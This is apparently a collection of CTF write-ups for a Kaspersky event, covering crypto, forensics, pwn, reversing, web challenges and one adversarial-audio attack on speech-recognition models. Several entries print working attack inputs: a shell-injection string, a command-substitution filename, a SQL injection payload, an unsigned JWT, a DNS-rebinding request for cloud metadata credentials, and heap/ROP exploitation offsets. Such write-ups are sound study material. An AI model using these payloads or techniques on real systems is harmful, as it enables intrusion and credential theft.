AI / challenge API
Cold DIH
Solved and accepted by the challenge API
flag kaspersky{d0ct0r_d0nt_t3ll_m3_that_my_illn3ss_is_c0ld_dih}
What the server checked
Three speech checks ran over the submitted audio. One file had to produce the exact target text through the challenge PCM16 path, through its Opus path, and through a second speech model. Ordinary audio editing moved all three at once, so the solve came down to tiny sample changes with every output rechecked after each one.
Solve path
Inspect the candidate audio without touching it.
ffprobe -hide_banner -show_streams -show_format candidate.flac
sha256sum candidate.flac
ffprobe reports codec, sample rate, channels, duration and container metadata. sha256sum gives the file a stable identity so a later test cannot quietly use a different version.
Produce the same codec forms the server uses.
ffmpeg -y -i candidate.flac -ac 1 -ar 16000 -c:a pcm_s16le candidate.wav
ffmpeg -y -i candidate.flac -ac 1 -ar 48000 -c:a libopus -b:a 64k candidate.opus
Mono, 16 kHz, signed 16-bit PCM for the first path and Opus for the second.
Run both speech models against both paths and compare every token against the required transcript. The first optimization pass pushed the Whisper token margins while leaving the other model alone. It got to 20 of 21 exact tokens.
Change half of one least significant bit across a balanced group of samples. That was the smallest change that flipped the last word, Look, without disturbing the other transcripts.
Re-encode and reload both models twice. Clean reloads matter, because cached model state can hide an unstable result.
Submit the final FLAC. The response came back solved: true with the flag.
Verification
The accepted file was cold-dih-solved.flac at 176,430 bytes. The source note records two clean model reloads and the accepted server response.
back to contents
CRYPTO / live signing service
Censored
Solved twice against fresh sessions
flag kaspersky{N0w_4ll_tH3_4nsW3rs_4r3_1n_y0ur_h4nds!!!!}
The bug
The service signed with Schnorr, and its diagnostic output leaked a narrow interval containing each supposedly secret nonce. Partial nonce knowledge is enough to recover a Schnorr private key.
Solve path
Identify and unpack the archive.
sha256sum censoredcrypt_254b06c618983c7f.tar.gz
tar -tzf censoredcrypt_254b06c618983c7f.tar.gz
tar -xzf censoredcrypt_254b06c618983c7f.tar.gz
tar -t lists without extracting, so nothing lands on disk before it is checked.
Read the signing code and write the Schnorr relation for each sample.
s_i = k_i + e_i * x mod q
s_i is the response, k_i the nonce, e_i the challenge hash, x the private key, q the group order.
Query 36 signatures. For each, use the public calibration value and the commitment to undo the XOR masks on the 18-bit diagnostic path. Every leak becomes an interval for k_i.
Turn the 36 interval equations into a Hidden Number Problem lattice, then solve with LLL plus nearest-plane CVP.
python3 solve.py --samples 36
The solver collects samples, builds the lattice, reduces, finds the nearest lattice point and reconstructs x.
Check the recovered key before spending it.
x * G == public_key
Sign the required message with a fresh nonce and send it to SUBMIT. The service returned ok: true and the flag.
Verification
A local synthetic test recovered a random 256-bit key exactly first. Two separate live sessions then each used 36 signatures, recovered a key matching the new public key, and returned the same flag.
back to contents
CRYPTO / riffle-royale
Shiny sweetie curve
Accepted by the live challenge in 1.761 seconds
flag kaspersky{g4mbl1ng_1s_b4d_t4k3_c4r3_0f_y0urs3lf}
The idea
The server mixed two seven-value elliptic curve x-coordinate orbits with a stable riffle. The task was to recover the hidden curve and predict the x-coordinate at N = 2^32 + 1609.
Solve path
Verify and unpack the source.
sha256sum static_c9fafffc59a47009.tar.gz
tar -xzf static_c9fafffc59a47009.tar.gz
Enumerate the 1,716 partitions that place sample 0 in the first lane. That reduces the stable riffle to testing two candidate seven-value sequences.
For adjacent x-coordinates, build the quadratic relation D[i](r) in r = x(Q). Eliminate the curve coefficients with resultants, and the common integer factor exposes the field prime p.
Take a polynomial GCD modulo p to recover r, then solve the remaining linear equations for a and b.
Lift x-coordinates to curve points and test both y signs. Reject a partition unless every step advances by the same point Q.
Compute the target with ordinary double-and-add, then post the slot-0 value.
3640664708522543359821365990389028278237346416127972626696953157794817140660
Verification
The solver was tested on a synthetic curve first. An independent review checked the resultant, the modular GCD and the curve recovery. The single orientation assumption was then confirmed by the server source and the accepted live result.
back to contents
CRYPTO / SP1 prover 6.5.0
Toffifee
Solved with a locally verified SP1 proof
flag kaspersky{a_s0und_pr00f_0f_an_uns0und_guest}
The bug
The verifier kept its visible Toffoli gate counter in state slot 256, but reset only slots 0 through 255 before applying circuit initializers. Map a 257th wire onto slot 256 and an initializer can zero the counter after the circuit has already used real Toffoli gates.
Solve path
Verify the inputs and read the guest binary statically.
sha256sum challenge.tar.gz guest.elf
readelf -h guest.elf
readelf -s guest.elf | less
-s lists symbols, which is how the reset, the initializer, the gate evaluator and the committed values were found.
Reconstruct the state layout. Confirm that opcode 2 increments slot 256, that the reset loop stops before slot 256, and that initializers run after it.
Build an AES S-box with the 32-AND Boyar-Peralta network. Map 258 unique wires and add a zero initializer for the wire aliased onto slot 256.
python3 build_circuit.py --output final.circuit
sha256sum final.circuit
The final circuit was 3,748 bytes.
Test all 256 byte inputs against the real S-box truth table. The same run confirms 32 physical Toffoli gates but a verifier-visible count of zero.
python3 test_circuit.py final.circuit
Generate the proof and verify it locally before going anywhere near the live endpoint.
./prove guest.elf final.circuit > proof.bin
./verify guest.elf proof.bin
The accepted proof was 1,272,613 bytes with committed Toffoli count 0.
Send the locally verified proof to /submit. It returned the flag.
Dead end worth knowing
The first emulator reset too much state, which hid the bug entirely and produced an honest count of 32. Matching the guest's capped reset exactly was the whole trick.
back to contents
FORENSICS / memory image plus UDP service
Ping Pong Show
Solved with a protocol-faithful game client
flag kaspersky{why_1s_th3r3_4_p1n9_p0n9_g4m3_4r3_u_j0kin9_m3}
The chain
The memory image held an Outlook attachment called inquiry.js. That script decrypted and decompressed a loader, the loader injected a Havoc Demon into acrobat.exe, and a later command pulled a second stage Ping Pong client that spoke a small UDP protocol named PPG1.
Solve path
Verify and extract the memory image, then get your bearings in it.
7z x ram_013bc3c6203989de.7z
python3 vol.py -f ram.bin windows.info
python3 vol.py -f ram.bin windows.pslist
windows.info identifies Windows 10 x64 build 19041. windows.pslist confirmed the injected Acrobat process.
Reconstruct the PST message and its attachment. Base64-decode the blob, decrypt it with the recovered RC4 key, then LZNT1-decompress.
Reverse the loader and the Demon configuration. The first C2 was useful evidence but not the flag. That address and acrobat.exe were both submitted early as guesses and later retracted.
Decode command 0xA14 from the captured traffic. It downloaded the real game client.
Reverse the PPG1 messages and write a clean UDP client that follows the state machine, plays to a 6-5 win, and waits for a type-5 GameEnd packet with outcome 1.
python3 pingpong_client.py SERVER_IP SERVER_PORT
This client speaks the protocol. It does not run the malware.
Parse the returned packet. It began with PPG1, declared a 56-byte message, and carried exactly 56 message bytes with no trailing payload.
Verification
The victory packet was hashed and kept as evidence, and the server-issued victory text was the flag.
back to contents
FORENSICS / 11.6 GB disk image set
Ryan Guzling
Solved from the disk images through to the linked content
flag kaspersky{1_th1nk_1t5_b3tt3r_t0_wr1t3_th3_k3y_0n_p4p3r}
The chain
Two halves of an Apple Fusion Drive plus a small trash image. The trash image held a FileVault recovery key, the decrypted Fusion Drive held a second encrypted sparsebundle, and that eventually pointed at a video URL whose public page metadata carried the flag.
Solve path
Verify and inventory the archive before extracting 11.6 GB of it.
7z l guz_5d74556b5147018c.zip
7z x guz_5d74556b5147018c.zip -oimages
7z l lists without extracting. 7z x preserves paths.
Search the trash image for printable recovery material.
strings -a -n 8 images/trash.dd | less
-a scans the whole image, -n 8 drops short noise. This produced the FileVault recovery key.
Reconstruct the Fusion Drive, ssd.dd first and hdd.dd second at physical offset 209735680, read-only. Current libfvde assumed the 0x0305 tree, so the virtual address parser had to be taught the newer 0x0304 records.
Mount the decrypted HFS+ volume read-only and read the stashed password.
mount -o ro /dev/mapper/fusion-decrypted /mnt/fusion
cat /mnt/fusion/usr/local/.pass
-o ro keeps the evidence unchanged.
Open hranilka.sparsebundle with that password, again read-only. Its .secret.txt contained the video URL.
Fetch the public watch page with no login and read videoDetails.shortDescription. The flag appeared six times, every occurrence identical.
Verification
The final assertion checked archive size and digest, the FileVault key, the inner filesystem, the .secret.txt URL, the video title, and one unique flag value.
back to contents
FORENSICS / PCAP, VMDK, malware sample
Time to Install Arch
Solved from a fresh raw-PCAP decode
flag kaspersky{gR34sY_ch4nn3l_n0t_s0_sL1ck}
What was hidden
The malware used TLS GREASE fields as a covert channel. Client and server used related counters, but the flag traveled in the server-to-client half. Client-side output like whoami was only command output, which is an easy place to stop too early.
Solve path
Verify the evidence before parsing or mounting anything.
sha256sum traffic.pcap disk.vmdk malware.exe
file traffic.pcap disk.vmdk malware.exe
file identifies each format without executing it.
Pull the handshake fields and GREASE values out of the capture.
tshark -r traffic.pcap -Y "tls.handshake" -T fields \
-e frame.number -e ip.src -e ip.dst -e tls.handshake.session_id > handshakes.tsv
Keeping frame numbers lets decoded bytes be tied back to original packets.
Reverse the stream cipher. It used a fixed key with a custom ChaCha constant, the first 12 session-ID bytes as the nonce, a client counter of twice the little-endian final four bytes, and a server counter of that plus one.
Validate the implementation against a known internal block. Counter 0 with the known nonce had to reproduce the observed 64-byte keystream block before decoding anything else.
Decode both directions independently. Server counters 446, 447 and 448 were type-2 data records, counter 449 was the type-5 terminator.
Join the server records in counter order. Frames 257486, 257563 and 257679 carried the three flag pieces.
Verification
The decode was rerun from the raw PCAP. The exact frames rebuilt the flag and the following frame held the expected terminator, which beats trusting a string carved out of memory.
back to contents
MISC / 21 second WAV
Fluffy Transform
Solved and deterministically decoded
flag kaspersky{p4ws_1n_th3_sp3ctrum}
Signal layout
Three amplitude-modulated carriers sit near 997 Hz, 2203 Hz and 4211 Hz. Their amplitudes form a moving three-dimensional vector: the movement draws a cat, and the timing of the movement carries Morse.
Solve path
Inspect the audio. It is mono 48 kHz signed 16-bit PCM, 21.025 seconds, 1,009,200 samples.
ffprobe -hide_banner challenge_f25cea1608c1e224.wav
Look at the spectrum. Odd harmonics give away the 2203 Hz square carrier and the 4211 Hz triangle carrier.
sox challenge_f25cea1608c1e224.wav -n stat -freq
Split into 1,200-sample windows. At 48 kHz that is 25 ms per window, giving 841 positions and 840 movements.
Run a Hann-window matched filter at all three carrier frequencies, normalize the amplitudes, and take the distance between adjacent vectors.
Call any distance above 0.008 a movement. The data left a safe gap: largest hold was 0.006793, smallest movement was 0.009778.
Run-length decode the movement states.
movement 4 frames = dot
movement 10 frames = dash
hold 2 frames = gap inside a character
hold 8 frames = next character
hold 20 frames = long boundary
Decode the Morse.
.--. ....- .-- ... ..--.- .---- -. ..--.- - .... ...-- ..--.- ... .--. ...-- -.-. - .-. ..- --
It spells P4WS_1N_TH3_SP3CTRUM. Morse carries no case, so the wrapped flag follows the event's lowercase style.
Verification
A deterministic verifier checked metadata, sample count, carrier extraction, allowed run lengths, Morse output and the wrapped flag, then exited 0.
back to contents
MISC / 62 MB MKV, 6,572 frames
Good pineapple
Recovered from a complete video scan
flag kaspersky{g3t_h1dd3n_b4d_4ppl3d_676767}
The carrier
The MKV looks like a black and white Bad Apple video. The secret was not in color channels or ordinary bit planes. It was written as short glyphs in a stereoscopic disparity plane, spread across time.
Solve path
Verify and inventory the container. One grayscale FFV1 video stream, one Opus audio stream, no useful attachment or extra data stream.
ffprobe -v error -show_streams -show_format -show_chapters challenge.mkv
Check pixel values and bit planes. Every pixel was exactly 0 or 255, so all eight bit planes were identical. That rules out normal least significant bit hiding immediately.
Treat the video as a cube of x, y and frame number. Scan horizontal and vertical slices through time instead of looking at single frames.
Compare the two horizontal disparity planes, which sat 12 pixels apart. Subtract the matching Bad Apple silhouette so only transient differences survive.
Scan all 6,572 frames. That exposed 39 one-frame glyphs. Keep the vertical pixels around every separator, otherwise a low underscore reads as a centered hyphen.
Join the glyphs in frame order. The first reading used hyphens and was rejected. A full rescan showed four separator strokes whose cropped shape was ambiguous, and both the rejection and the baseline position support underscores.
Honest caveat
The full scan found no extra glyph, and the retained proof includes a glyph contact sheet and a JSON frame map. Scoreboard acceptance of this corrected form was never captured independently, so this is the fully recovered candidate rather than a receipted flag.
back to contents
MISC / live TLS menu service
queue
Solved twice against the live service
flag kaspersky{9c974f24-1ec2-4d47-b32e-11fd9b961eda}
The bug
The app tried to protect the dangerous function name base_task, but ARQ also registered the same function under the dotted name tasks.base_task. The sanitizer compared only the exact short string, so the dotted alias walked straight past it into a shell command built with os.popen.
Solve path
Verify and read the source. It showed ARQ 0.26.3, Redis tasks and a setuid /readflag helper.
unzip -l queue_0aef23f13a7da4affd2a88364c152261.zip
unzip queue_0aef23f13a7da4affd2a88364c152261.zip -d queue-src
Find the unsafe command and the sanitizer next to it.
rg -n "base_task|os\.popen|allowed" queue-src
base_task built a command shaped like echo {arg} | base64.
Start the worker with the alias tasks.base_task. ARQ resolves the dotted import to the same coroutine but keeps the dotted registered name.
Run that function with this argument.
x; /readflag please; #
The semicolon ends the intended echo, /readflag please runs the helper, and # comments out the trailing | base64 so the flag prints raw.
Connect to the live TLS menu and repeat it.
openssl s_client -quiet -connect HOST:PORT
In the menu: 1 to register ["tasks.base_task"], 2 to select it, then send the injection string.
Verification
Same flag returned twice. A local reproduction with the supplied ARQ and Redis versions returned a dummy flag first, which proved the chain before touching the live service.
back to contents
PWN / C++ interpreter
One Last Babuin
Solved against the live service
flag kaspersky{L00ks_l1k3_th3_r0b0t_m4n4g3d_t0_wr1t3_4_symph0ny...But_wh4t_ab0ut_y0u?}
The bug
Vector compaction left an index that could write past the live heap object. That write poisoned tcache, which gave controlled allocations, which built a ROP chain that read the flag file.
Solve path
Verify and inspect the archive.
tar -xzf one_last_babuin_a693b3e91db2b6c0.tar.gz
checksec --file=babuin
checksec summarizes protections without running anything.
Read the interpreter parser and reproduce the vector compaction sequence locally. Free enough 0x400-class chunks to populate tcache, then trigger the stale index.
Trace the real freed 400-byte tcache chain. A nearest-A heuristic broke on some heap layouts, so the solver followed allocator forward pointers and picked the actual reclaim target.
Use the out-of-bounds write to replace a tcache forward pointer. The next controlled allocations overlap the interpreter object and disclose heap, PIE and stack values.
Calibrate against the remote layout. What worked remotely:
PIE base = qword(0x12d0) - 0x2a83a0
tcache head = qword(0x12f0) + 0x171a0
stack slot = qword(0x1f08) + 0x740
Build a ROP chain that opens and reads the flag file and writes it back to the connection. Regenerate the payload if an address introduces a newline byte, because the interpreter treats newline as end of input.
Verification
The remote response contained the exact flag. The TCP handle was closed and the session list was empty afterwards.
back to contents
PWN / optimized safe Rust
RUSTyapa
Solved on remote attempt 24
flag kaspersky{n0b0dy_1s_p3rf3ct_4nd_3v3n_th3_c0mp1l3r_c4n_m4k3_m1s74k35}
The bug
Optimized safe Rust kept stale Vec metadata around. The program could use and free the same allocation through conflicting table records. Tcache poisoning then produced forged Record and Table objects, and those became an arbitrary read and write primitive.
Solve path
Verify and unpack. Full RELRO, NX, PIE, no canary, symbols intact.
tar -xzf rustyapa_77887986df09ee05.tar.gz
checksec --file=rustyapa
Compare the Rust source against optimized assembly and follow pointer, length and capacity across insert, compact and delete. The stale metadata gives a use-after-free followed by a double free.
Poison the right tcache bin and allocate forged objects. Point their fields at chosen addresses so ordinary table operations become reads and writes.
Leak libc and its environ symbol. environ points into the current stack, which locates the saved return address.
Account for the remote launcher: its main frame sat 16 bytes off the direct local layout. The offsets that worked, relative to environ:
tables capacity: -0x320
tables pointer: -0x318
tables length: -0x310
saved return: -0x270
Write a libc ROP chain over the saved return address and ask for the flag.
Accumulate received chunks until the expected delimiter shows up. A successful socket read on its own does not prove the delimiter arrived, which cost several attempts.
Verification
Attempt 24 resolved libc, printed the flag, then printed the completion marker. Persisted evidence confirmed the marker and zero open sessions.
back to contents
PWN / custom QEMU PCI device
SlopGate
Solved against the live service
flag kaspersky{I_th1nk_w3_b0th_g0t_dumb3r_wh1l3_s0lvin6_this_t4sk}
The bug
The device allowed response DMA into its own memory-mapped BAR. A response tag of zero reentered MMIO handling and freed the active 192-byte request while the original handler was still using it. Reclaiming that chunk as a profile context turned it into a host memory primitive.
Solve path
Build the supplied image with a dummy flag and boot it in isolation. Prove the guest can map the PCI BAR, then submit one request whose response buffer points back into the BAR status register.
Set response tag zero so the nested status write frees the active request. Use PROFILE_COMMAND_REBUILD on a different scratch profile so its 192-byte context reclaims the same chunk.
Finish the original request. Its stale pointer now reaches the profile context, giving a one-byte host XOR primitive and a profile-pointer leak through statistics.
Forge a reader profile to leak QEMUBH, then subtract the known symbol offset for the QEMU PIE base.
Put the read command in a profile context and use PROFILE_COMMAND_SNAPSHOT to replace the bottom-half callback and the opaque pointer atomically. Individual byte writes lost the race because the worker can run between them.
Build the guest exploit, then run the launcher. It solves the Hashcash prompt, uploads the base64-encoded guest binary, runs it, waits for the host trigger and prints the returned flag.
gcc -O2 -static -o slopgate-solve slopgate-solve.c
python3 slopgate-pwn-run.py HOST PORT ./slopgate-solve
-static avoids depending on guest libraries.
Verification
The local image returned a dummy test value first, which is not an event flag. The live service then returned the flag above.
back to contents
PWN / C++ firmware service
SunHua Gate
Solved with a shell as uid 1000
flag kasperky{but_1t_c4tch3s_4ll_th3_3xcept10n5_4nd_n3v3r_f4ll}
Spelling
The flag really is kasperky{...} with no s in the middle. Do not correct it.
The bug
cyclic_vector<double>::resize moved its logical border before resizing the backing vector. If the allocation threw std::bad_alloc, the small backing allocation survived while the logical bounds stayed huge. A separate destructor bug leaked large TDDJ vectors, which made controlled exhaustion practical.
Solve path
Verify and unpack. Full RELRO, canary, NX, PIE.
tar -xzf sunhua_da2a7fa7d4bdad6a.tar.gz
checksec --file=firmware/sunhuagate
Allocate and delete TDDJ devices repeatedly. The derived destructor frees only the base object and leaks the large vector buffer.
Resize a live cyclic vector to 16,384 doubles until allocation fails. Locally that was allocation 195 under a 32 MB limit, remotely it was allocation 826.
After the exception, feed malformed floating point tokens to advance the cyclic index without writing. The state viewer then reads past the real 16-element vector and leaks heap and PIE values.
Use out-of-bounds writes to build a fake Device, a one-node field map and a fake dat field, then redirect a live device pointer at that structure.
Point the fake field at the GOT entry for __isoc23_sscanf and read it for a libc address, then compute system from the known offsets for the supplied remote libc.
Replace the fake aggregation callback with system, put /bin/sh at the start of the fake device, and open the dat settings field.
id
cat /sunhuagate/flag.txt
exit
id confirms the shell context, cat reads the flag, exit returns cleanly to the application.
Verification
The shell reported uid 1000 and returned the exact flag followed by the completion marker. The tube was closed and no sessions were left open.
back to contents
REVERSE / 30 KB x86-64 ELF
biblocker
Decrypted payload verified, then confirmed correct
flag kaspersky{s1gn4l5_pr0v1d3d_tPm_k1nd4_sus}
Solve path
Inspect the ELF safely. Partial RELRO, NX, PIE, no stack canary.
file biblocker_5d741069dd2afdda
checksec --file=biblocker_5d741069dd2afdda
Trace the password to key path. The program hashes the password with SHA-256, splits the 32-byte digest in half and XORs the halves into a 16-byte value.
Follow the anti-debug path. A SIGSEGV handler generates a second 16-byte validation secret that normal control flow never exposes. Break before the AES call and read the key buffer.
gdb -q ./biblocker_5d741069dd2afdda
The debugger was used only inside an isolated analysis box.
Combine that secret with the stored validation target for the AES-128 key. The IV is the ASCII string blablablablablab.
Decrypt the embedded ciphertext.
openssl enc -d -aes-128-cbc -K KEYHEX -iv IVHEX \
-in payload.enc -out payload.bin
-K and -iv take raw hex, so no password derivation happens.
Check what came out, then search it.
xxd -l 16 payload.bin
strings -a payload.bin | rg 'kaspersky\{'
The first four bytes were hsqs, the SquashFS magic. The flag sat inside that 4,096-byte image.
back to contents
REVERSE / Windows x64 single-file .NET host
Cimple
Accepted by the reconstructed checker
flag kaspersky{1s_c1mpl3_s1mple_3n0ugh_1ab7d0159a87f}
Layout
A native host with an embedded native DLL and an encrypted managed extension. Together they implement a custom VM and 16 independent three-byte checks.
Solve path
Inspect the file without running it. Strings gave up CimpleNative.dll and seven suspicious export names.
file CimpleManaged_ac9bc4e10212783b.exe
strings -a -n 6 CimpleManaged_ac9bc4e10212783b.exe | less
Locate the embedded PE headers and pull out the 49,523-byte native DLL. A normal binwalk extraction hit a reparse-point safety rejection, so the byte range was copied directly out of the host file.
Reverse the native exports and the managed bootstrap. The bootstrap decrypts the VM extension, which exposes bytecode, constants and encrypted checker data.
Reimplement the VM with explicit 32-bit wrapping.
value = (value + operand) & 0xffffffff
The mask is the whole game. PowerShell integer casts failed here because they do not reproduce modulo 2^32 arithmetic at every operation.
Invert each of the 16 three-byte checker blocks. Each block had exactly one printable solution, so concatenating them gives the flag with no guessing.
Run the candidate back through the reconstructed VM. It printed the original success message and exited 0.
back to contents
REVERSE / Electron AppImage
wasmsafe
Accepted by the unchanged challenge checker
flag kaspersky{w4sm_3lectrif1ed_7d19ae15}
Solve path
Find every SquashFS signature instead of trusting the first hsqs hit. The first signature was decoy text, offset 188392 held the real filesystem.
grep -aob 'hsqs' awasmsafe_b70b40963c94d668.AppImage
unsquashfs -s -o 188392 awasmsafe_b70b40963c94d668.AppImage
unsquashfs -no-progress -o 188392 -d squashfs-root awasmsafe_b70b40963c94d668.AppImage
grep -aob prints byte offsets and unsquashfs -s validates a superblock without extracting.
Extract the Electron resources.
npx asar extract squashfs-root/resources/app.asar app
find app -maxdepth 3 -type f -print
Decompress the embedded WebAssembly and read the exported check_flag routine. It used a 36-byte target, a key derived from the browser fingerprint, a linear PRNG, then RC4.
wasm2wat checker.wasm -o checker.wat
rg -n "check_flag|memory|data" checker.wat app
Reproduce the renderer's real fingerprint. Guessing Node globals failed, because anonymous Chromium functions stringify differently. Run the original renderer under a virtual display with the DevTools protocol exposed.
xvfb-run -a squashfs-root/AppRun --no-sandbox --remote-debugging-port=9222
Invert the PRNG and RC4 layers with the measured values, then call the original function in the unchanged renderer.
window.checkFlag('kaspersky{w4sm_3lectrif1ed_7d19ae15}')
It returned numeric 1, the challenge's success result.
back to contents
REVERSE / multi-stage Go malware
Yet another malware
Solved with static extraction and a clean protocol client
flag kaspersky{d0_y0u_l1k3_th1s3_p4st4?}
Safety rule
None of the supplied malware stages were executed. The archive was unpacked in isolation, every layer was decoded statically, and the final server protocol was reimplemented in clean Python.
Solve path
Unpack the password-protected archive in an isolated box.
7z x -pinfected yetanothermalware_e5edc404f6b42ad02320ab02a7bb7f3d.zip -omalware
Reverse the loader, a Go 1.24.5 PE. It accepts password at its prompt, feeds it to scrypt with salt kek, N 32768, r 8, p 1, then uses the result as an AES-256-GCM key.
Reimplement that decryptor. A valid GCM tag yields a Donut shellcode stage. Static Chaskey-CTR unpacking then recovers another Go PE, with no shellcode ever running.
Reverse the inner C2 format: PNG tEXt chunks named X-Comment, Base64, and a custom arithmetic coder seeded from a 7,544-byte story corpus.
Implement only the network codec in a clean client.
python3 safe_c2_client.py register
python3 safe_c2_client.py fetch
register sends a synthetic agent with no host data. fetch downloads the PNG, pulls the comment chunk, decodes Base64 and runs the reconstructed arithmetic decoder.
The first task disclosed a flag path. Fetch that path with the same safe client.
Verification
Two responses used different randomized PNG covers and decoded to the same plaintext.
back to contents
WEB / URL sandbox plus cloud metadata
Canary
Solved with two independent object reads
flag kaspersky{5688e9f664a7fa9bce6bbe8414ee6423}
The bug
The URL sandbox ran a browser that could be walked across same-origin destinations by DNS rebinding. A three-stage chain loaded attacker-controlled public content, rebound the same hostname to the private Canary service, then rebound it again to the cloud metadata service. The browser origin never changed, only the destination IP.
Solve path
Inspect the application and its URL fetch behavior. The browser accepted a public URL and ran ordinary page JavaScript.
Serve a page from a hostname with a very short DNS TTL. The DNS service answers with the public attacker page first, the private service second, and the metadata address third.
From the public page, request the same hostname in a loop until the private response appears. Scheme, hostname and port never change, so the browser treats it as same-origin.
Repeat for IMDSv2: request a session token, then the role name and temporary credentials.
const token = await fetch('/latest/api/token', {
method: 'PUT',
headers: {'X-aws-ec2-metadata-token-ttl-seconds': '21600'}
}).then(r => r.text());
Use the temporary role only for permitted bucket discovery. Listing the deeper prefixes returned access errors, but listing the parent prefix exposed the object.
aws s3api list-objects-v2 --bucket BUCKET --prefix reports/
aws s3api get-object --bucket BUCKET --key KEY message.eml
Read the 174-byte email and take its single flag.
Verification
Two independent SDKs downloaded identical bytes, matched on digest and ETag.
back to contents
WEB / three chained services
Frontrooms
Solved across ports 19080, 19090 and 19100
flag kaspersky{w0w_l00ks_s0_pr0pr13t4ry_1_l0v3_th4t}
Chain overview
The first port gave login and a Hermes-based camera bridge, and that bridge gave internal GET SSRF into a SQL-injectable directory. The second port exposed a CFB error oracle over an expired employee token. A repaired token bought a JWT that the third port accepted, where employee note 3 held the flag.
Solve path
Authenticate to port 19080. The client supplied the RC4 challenge instead of the server, so challenge 0 with response yw== authenticates as admin.
curl -i -X POST http://HOST:19080/login \
-H 'Content-Type: application/json' \
-d '{"username":"admin","challenge":"0","response":"yw=="}'
In the camera Hermes runtime, repoint the internal route string during the XHR bridge callback. A reentrant timer fires while the pointer is being changed, producing an internal GET to the directory service.
Use the five-column UNION injection in id to enumerate the internal service map, OAuth client metadata and private messages. Message 9 held an expired maintenance employee token.
Send that token to port 19090. The service decrypts 16-byte CFB segments and leaks different base64 or JSON errors. Use those as an oracle to recover the plaintext.
{"employee_id": 1, "issuer": "ext", "creation_date": "2022-02-24T00:00:00.123456789"}
Repair the preceding ciphertext blocks so CFB decryption moves the date to now and changes employee_id from 1 to 3. Exchange the repaired token as OAuth client 1 for a JWT with sub: 3.
Use that JWT on port 19100.
curl -i http://HOST:19100/notes/3 -H 'Authorization: Bearer JWT_HERE'
Verification
A fresh authenticated request to the same note independently returned the same flag. No broad port scan was run.
back to contents
WEB / shogi web app
Garden
Solved with an exact match and a negative control
flag kaspersky{0ld_s4mur4i_w0u1d_b3_pr0u6}
The bug
The backend inserted a client-supplied shogi move straight into SQL. The cshogi parser only checked the first four characters of a pawn drop, so legal move text could carry a trailing SQL expression.
Solve path
Verify and read the source.
tar -xzf garden-299ddb5aaa0347e1.tar.gz
rg -n "save_move_to_db|INSERT|cshogi|move" garden-src
Make a pawn available for a legal drop by playing these moves in order. The promoted move captures a pawn, so P*7e becomes a legal drop and the parser accepts its first four characters.
7g7f
7f7e
7e7d
7d7c+
Append the SQL carrier.
P*7e' + json_extract('{}', (SELECT move FROM game_moves
WHERE user_id='admin' ORDER BY id ASC LIMIT 1)) + '0
The quote closes the original string and the subquery selects the first admin move. SQLite treats that value as a JSON path, and because the flag is not a valid path, json_extract raises an error containing it.
Send the move and read the reflected 500 page. Pull the flag out of the SQLite error text.
Run the final solver from a clean session. It pins the public resolver IP while keeping TLS SNI, creates the game state, sends the payload, extracts the error text, then removes its own session rows in a finally block.
Verification
The exact flag triggered the reflected marker, and an altered flag returned HTTP 200 instead. That negative control proves the extractor was not matching unrelated page text.
back to contents
WEB / access control application
SKUDik
Solved, recovered three times and rechecked
flag kaspersky{c32fccdd-762a-4321-8337-163c9b67325f}
The chain
The app accepted an unsigned JWT whose sub field reached a SQL query. Once admin, a camera snapshot could create an attacker-chosen JPEG filename. Reusing that existing filename as videoStorageDir passed the existence check, and a local adapter then dropped it into df -Pk "<path>" through /bin/sh -c.
Solve path
Build an unsigned JWT with algorithm none and a SQL expression in sub that selects the first user. The empty third segment means there is no signature to check.
base64url({"alg":"none","typ":"JWT"}).base64url({"sub":"SQL_PAYLOAD"}).
Use the admin session to open the hidden camera WebSocket. Send camera_live_init, wait for camera state, then send camera_ack for camera 1.
Test the filename channel with a harmless delay. The response came back about three seconds late, which proves command substitution.
$(sleep 3)-1.jpeg
Exfiltrate through the application's own unit API. The payload used printf with octal \042 for JSON quotes, piped JSON to curl --json @-, and created a unit whose label carried the command output.
Avoid broad filesystem searches. The first unbounded find hit /sys and wedged the worker. The search that worked excluded /proc, /sys and /dev and used bounded paths.
Read the new unit back through the ordinary API, then repeat the bounded extraction to rule out a truncated result.
Restore videoStorageDir to its original value and delete the temporary units the application allows deleting.
Verification
The flag was recovered three times and freshly rechecked once. The application could not delete one leftover unit, because its own query deletes only higher IDs. That limitation was recorded rather than hidden.
back to contents
notes
Reading notes
Flag spelling
SunHua Gate really returned kasperky{...}. The missing letter is part of the flag.
Case
Fluffy Transform decoded to uppercase Morse text. Morse does not carry case, so the wrapped flag uses the event's lowercase convention.
Retractions
Ping Pong Show had two early answers from the malware analysis that were later retracted. The victory packet supplied the real flag. The SlopGate local test value was a dummy baked into the test image, not an event flag.
One unreceipted flag
Good pineapple is the only entry without an independent scoreboard receipt. It is fully reconstructed from a complete frame scan and reported as a corrected candidate.
Reconstructed commands
Some solver invocations are reconstructed. Temporary workspaces were cleaned up after the event, so where the exact terminal history was gone, the verified algorithm, offsets and values are preserved instead.